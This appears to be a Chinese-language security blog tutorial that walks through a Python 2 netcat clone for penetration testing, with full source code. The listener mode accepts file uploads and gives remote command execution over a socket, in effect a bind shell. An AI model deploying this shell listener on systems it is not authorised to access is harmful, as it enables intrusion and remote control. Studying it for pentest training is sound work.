cdxy.me
Footprints on cyber security and Python

在网络工具中有“瑞士军刀”美誉的NetCat和nc命令, 每个渗透人员的必修课,简单实用的功能用了N年仍爱不释手。 在渗透测试中,往往聪明的系统管理员都会从系统中移除nc。在这种情况下需要创建一个简单的客户端和服务器用来传递文件,或者执行命令。

 

功能

同时具备服务端和客户端功能 命令执行 文件传输

Xyntax Netcat Tool
usage: Netcat.py [-h] [-l] [-e EXECUTE] [-c] [-u UPLOAD] target port

positional arguments:
  target                target host IP
  port                  target host Port

optional arguments:
  -h, --help            show this help message and exit
  -l, --listen          listen on [host]:[port] for incoming connections
  -e EXECUTE, --execute EXECUTE
                        execute the given file upon receiving a connection
  -c, --command         initialize a command shell
  -u UPLOAD, --upload UPLOAD
                        upon receiving connection upload a file and write to
                        [destination]

代码解析

导入包 声明变量

#!/usr/bin/env python2
# -*- coding: utf-8 -*-


import sys
import socket
import threading
import subprocess
import argparse

__author__ = 'xy'

# global vars
listen = False
command = False
upload = False
execute = ''
target = ''
upload_destination = ''
port = 0

获取用户输入

def parse_args():
    parser = argparse.ArgumentParser()
    # 可选项 不需要赋值 存储为bool
    parser.add_argument(
        "-l",
        "--listen",
        help="listen on [host]:[port] for incoming connections",
        action='store_true'
    )
    # 可选项 需要赋值 存储为string
    parser.add_argument(
        "-e",
        "--execute",
        help="execute the given file upon receiving a connection"
    )
    parser.add_argument(
        "-c",
        "--command",
        help="initialize a command shell",
        action='store_true'
    )
    parser.add_argument(
        "-u",
        "--upload",
        help="upon receiving connection upload a file and write to [destination]"
    )
    # 必需项 需要赋值
    parser.add_argument(
        "target",
        help="target host IP"
    )
    parser.add_argument(
        "port",
        help="target host port"
    )
    return parser.parse_args()

主函数

  • 变量声明、读取用户输入。
  • 如果是客户端,则读取用户命令后调用client_sender()函数发送命令到服务端,并接收服务端的返回数据。
  • 如果是服务端,则进入监听 server_loop()
def main():
    global listen
    global port
    global execute
    global command
    global upload_destination
    global target

    print('Xyntax Netcat Tool')
    args = parse_args()
    if args.listen:
        listen = True
    if args.command:
        command = True
    if args.execute:
        execute = args.execute
    if args.upload:
        upload_destination = args.upload
    target = args.target
    port = int(args.port)

    if not listen and len(target) and port > 0:
        # 从命令行读取数据
        # 这里将阻塞 所以不向标准输入发送数据时发送ctrl-d
        buffer = sys.stdin.read()

        # 发送数据
        client_sender(buffer)

    # 开始监听并准备上传文件、执行命令
    # 放置一个反弹shell
    # 取决于上面的命令行选项
    if listen:
        server_loop()

客户端函数

创建一个socket对象,连接主机端口,与主机进行通信。

def client_sender(buffer):
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try:
        # 连接目标主机
        client.connect((target, port))

        if len(buffer):
            client.send(buffer)

        while True:

            # 现在等待数据回传
            recv_len = 1
            response = ''

            while recv_len:

                data = client.recv(4096)
                recv_len = len(data)
                response += data

                if recv_len < 4096:
                    break

            print(response, )

            # 等待更多输入
            buffer = raw_input("")
            buffer += '\n\n'

            # 发送出去
            client.send(buffer)
    except:
        print("[*] Exception! Exiting.")
        client.close()

服务端函数

这里使用threading处理连接,使用subprocess执行命令

def server_loop():
    global target

    # 如果没有定义目标 那么我们监听端口
    if not len(target):
        target = '0.0.0.0'

    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((target, port))

    server.listen(5)

    while True:
        client_socket, addr = server.accept()

        # 分拆一个线程处理新的客户端
        client_thread = threading.Thread(target=client_handler, args=(client_socket,))
        client_thread.start()


def run_command(command):
    # 换行
    command = command.rstrip()
    # 运行命令并将输出返回
    try:
        output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
    except:
        output = 'Failed to execute command.\r\n'

    # 将输出发送
    return output


def client_handler(client_socket):
    global upload
    global execute
    global command

    # 检测上传文件
    if len(upload_destination):

        # 读取所有的字符并写下目标
        file_buffer = ''

        # 持续读取数量直到没有符合的数据

        while True:
            data = client_socket.recv(1024)

            if not data:
                break
            else:
                file_buffer += data

        try:
            file_descriptor = open(upload_destination, 'wb')
            file_descriptor.write(file_buffer)
            file_descriptor.close()

            # 确认文件已经写出来
            client_socket.send('Successfully saved file to %s\r\n' % upload_destination)
        except:
            client_socket.send('Failed to save file to %s\r\n' % upload_destination)
    # 检查命令执行
    if len(execute):
        # 运行命令
        output = run_command(execute)
        client_socket.send(output)

    # 如果需要一个命令行shell,那么我们进入另一个循环
    if command:
        while True:
            # 跳出一个窗口
            client_socket.send('<xy:#> ')
            # 现在我们接收文件直到发现换行符(enter key)
            cmd_buffer = ''
            while '\n' not in cmd_buffer:
                cmd_buffer += client_socket.recv(1024)
            # 返还命令输出
            response = run_command(cmd_buffer)
            # 返回响应数据
            client_socket.send(response)

运行

2015-10-17 15:49:07屏幕截图